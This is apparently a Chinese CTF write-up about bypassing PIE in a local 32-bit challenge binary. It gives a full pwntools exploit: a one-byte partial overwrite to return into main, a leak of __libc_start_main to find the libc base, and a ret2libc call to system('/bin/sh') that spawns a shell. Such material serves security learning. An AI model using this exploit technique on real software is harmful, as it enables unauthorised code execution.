暑期pwn! pwn! pang! (三):开了pie的rop绕过

话不多说先上图:

暑期pwn! pwn! pang! (三):开了pie的rop绕过_第1张图片
暑期pwn! pwn! pang! (三):开了pie的rop绕过_第2张图片
暑期pwn! pwn! pang! (三):开了pie的rop绕过_第3张图片
依旧开了栈中数据不可执行保护,而且重点是,开了pie! ! !
唉,PIE这个磨人的小妖精。

  • 还是要想办法绕过,咱们的目的是得到libc中system和/bin.sh的地址
  • 开启了地址随机化,每次运行的基址都不一样,所以得先得到每次程序运行的libc的基址,这里我们利用__libc_start_main暑期pwn! pwn! pang! (三):开了pie的rop绕过_第4张图片
    -我们想办法得到程序中libc_start_main的地址,减去libc中的偏移,得到libc基址,进而获得system等的地址
  • 为了得到libc基址,我们已经让程序正常运行了一次,那我们接下来就是要让程序再运行一次main,在这时截获它,让它运行system(’/bin/sh’),getshell
  • PIE ENABLED的一个弱点就是pie不会随机化地址的低12位,通俗点说就是我们十六进制地址的后三位,这样我们才有“文章”可做

超详解exp如下:

from pwn import *

p=process('./pwn2')
elf=ELF('./pwn2')
libc=ELF('/libc32/libc.so.6')
#用的本地的libc
libc_start_main_offset=libc.symbols['__libc_start_main']
#这是偏移啊  __libc_start_main在libc库中的偏移

pld1='a'*0x28+'bbbb'+"\x55"
'''覆盖临时变量buf,旧的ebp,把正常的地址盖成main函数的地址,因为后三位的地址是没有随机化的,
然后ida一看,开始于0x655,655是后三位,但是我们要写成字节的话,\x55\x06,因为多加了一个0,
这这这,很有可能是错的,但我们做不到取一个半字节,所以我们只取一个字节,就取\x55,这样就又
重新回到main了'''
p.send(pld1)
#send不加\n,这个地方不能用p.sendline(),要是用它的话返回地址的后四位会变成0a55,这这这,这就没有库能匹配了
p.recv(60)
#调试时从栈里面看,从输入a开始到<__libc_start_main+241>,差60,这是我们不需要的,先接收了

start_main_addr=u32(p.recv(4))-241
#这儿就是我们要的__libc_start_main地址,接收到的减去241
basic_addr=start_main_addr-libc_start_main_offset
#因为两个库中的__libc_start_main的地址是一样的,libc基址是__libc_start_main的地址减去偏移量
p.recv(0x100-56)

pld2='a'*0x28+'bbbb'+p32(basic_addr+libc.symbols['system'])+p32(0xdeadbeef)+p32(basic_addr+int(*libc.search("/bin/sh")))
'''回到了main函数中,重新覆盖临时变量,旧ebp,将返回地址覆盖成system的地址,system的返回
没有什么用了,直接用p32(0xdeadbeef),再将system的形参/bin/sh的地址传进去'''

p.sendline(pld2)
p.recv(0x100)
p.interactive()



!!!
回过头来看,好像开了pie也没有那么难?

你可能感兴趣的:(暑期pwn! pwn! pang! (三):开了pie的rop绕过)